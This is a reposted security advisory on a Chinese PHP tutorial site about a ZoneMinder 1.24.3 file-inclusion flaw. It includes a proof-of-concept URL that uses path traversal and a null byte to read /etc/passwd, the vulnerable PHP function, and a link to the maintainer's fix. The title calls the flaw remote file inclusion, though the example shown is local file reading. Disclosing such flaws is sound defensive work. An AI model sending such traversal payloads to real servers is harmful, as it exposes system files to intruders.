网站地图    收藏   

主页 > 后端 > 网站安全 >

Zoneminder 1.24.3远程文件包含缺陷及修复 - 网站安全

来源:自学PHP网    时间:2015-04-17 14:46 作者: 阅读:

[导读] # Exploit Title: Zoneminder 1.24.3 Remote File Inclusion Vulnerability# Author: Iye (iye[dot]cba-at-gmail[dot]com)# Software Link: http://www.zoneminder.com/# Version: 1.24.3 (Tes......

# Exploit Title: Zoneminder 1.24.3 Remote File Inclusion Vulnerability
# Author: Iye (iye[dot]cba-at-gmail[dot]com)
# Software Link: http://www.zoneminder.com/
# Version: 1.24.3 (Tested). 1.24.4 probably too, not tested
 
You must be authenticated as a user in the Web App to exploit it. It's
not a must to be admin.
 
POC:
http://www.2cto.com /zm/index.php?action=56&markMids%5B%5D=1&deleteBtn=Delete&editBtn=Edit&view=../../../../../../../../../../../../../../../etc/passwd%00
 
Reported to proyect mantainer (Philip Coombes) on 2011-07-22

Fix patch made Philip Coombes: http://www.zoneminder.com/downloads/lfi-patch.txt
 
Vulnerable Code:
 
/var/www/zm/includes/functions.php
--------------------------------------------------------
 
function getSkinFile( $file )
{
    global $skinBase;
    $skinFile = false;
    foreach ( $skinBase as $skin )
    {
        $tempSkinFile = 'skins'.'/'.$skin.'/'.$file;
        if ( file_exists( $tempSkinFile ) )
            $skinFile = $tempSkinFile;
    }
    return( $skinFile );
}
 
--------------------------------------------------------

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论